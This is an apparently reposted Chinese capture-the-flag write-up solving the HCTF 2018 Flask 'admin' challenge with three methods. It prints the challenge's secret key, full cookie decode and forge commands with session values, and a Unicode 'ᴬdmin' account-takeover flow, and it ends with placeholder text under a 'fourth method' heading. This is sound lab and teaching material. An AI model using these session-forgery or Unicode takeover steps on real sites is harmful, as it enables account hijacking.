[原題復現]2018HCTF WEB admin(session偽造、unicode漏洞、條件競爭)


簡介

 原題復現:https://github.com/woadsl1234/HCTF2018_admin

 考察知識點:session偽造unicode漏洞、條件競爭

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

第一個方法:

打開界面先查看了源碼提示 you are not admin 我不是admin 第一感覺就是要admin登陸 於是尋找登陸界面 有個注冊頁面我們先進行注冊

嘗試注冊admin 結果顯示已經有了 我們嘗試"admin "后面為空格

 

 

 

點擊注冊之后就到了這個界面

 

 找到這一行 最右邊鼠標移上去有個命令圖標點擊出現這個 可以執行py 我們輸入print(username)

 

輸入printf輸出得到賬戶密碼

 

我們登陸 得到flag

 

 

 

這是應該個非預期....

看看WP的姿勢 

方法二:session偽造

方法二:session偽造

session偽造 https://www.leavesongs.com/PENETRATION/client-session-security.html

看作者博客說這也是一個非預期的解,管它呢學姿勢就OJBK了。

隨便注冊一個賬戶 在change修改密碼頁面發現源碼可供下載

https://github.com/woadsl1234/hctf_flask/ 

 

下載進行分析發現在app\template\index.html發現session['name']=='admin'就能得到falg,所以看wp思路可以進行session偽造 首先尋找secret_key

在app\config.py里面發現了secret_key 只要有這個我們就可以進行session偽造了 因為我們的Flask的session在本地的

 

下載工具

https://github.com/noraj/flask-session-cookie-manager

首先獲取我們本地的session值

將session值解碼:

python .\flask_session_cookie_manager2.py decode -c ".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHv
BxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1
_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq
5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A" -s ckj123

得到:

{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'test', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}

在解碼的時候我們要將原數據里面的test改成admin 然后在進行重新編碼

python .\flask_session_cookie_manager2.py encode -t "{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'admin', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}" -s "ckj123" 

得到新的session

.eJw9kE2LwjAURf_K8NYuNJ3ZCC6E2FLhpSix4WUjjlbz0ThDVWoj_vcJDrh6i3s4l_sesD12zcXA9NrdmhFs7QGmD_j4himg22Qoyzu5_YBsFQXLvS5yL4raoGw9RuNJ0V1z7bVcJYYYSWOF2_cYdOKWRvANq3hrMZaDCBSR5TZRE3TlvVLI0h1IYq9dbnVBX-TmmVAYK_6is0RMRFF-aukH7XBcybXRfMEw1LYqEiNbk_pm8BzB_tIdt9cf35zfEygsXaV0K1IlqdppN-9RniJFE7RaWsFrL1SaqJKaLzLh5oxOs5fOht2peZvW41--6f-T8y6kAHaHYM8wgtul6V5_g8kYnn8Rwm24.Xj_KZA.FGcGdsiAkoyhPfzw0dChvF_SR4A

修改原有的session發送得到flag

 

 參考學習:

     作者博客:https://www.ckj123.com/?p=147 

     客戶端 session 導致的安全問題:https://www.leavesongs.com/PENETRATION/client-session-security.html

     https://www.cnblogs.com/apossin/p/10083937.html

第三種方法:Unicode欺騙(預期解)

看作者wp這才是真正的預期解

作者說按照這個漏洞思路寫的

 

 

 

 

 

unicode問題,對於一些特殊字符,nodeprep.prepare會進行如下操作

ᴬ -> A -> a

 

 

攻擊流程:

注冊用戶ᴬdmin
登錄用戶ᴬdmin,變成Admin
修改密碼Admin,更改了admin的密碼

 

 參考學習:https://www.jianshu.com/p/f92311564ad0

 

第四種方法

111

簡介

111

簡介


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM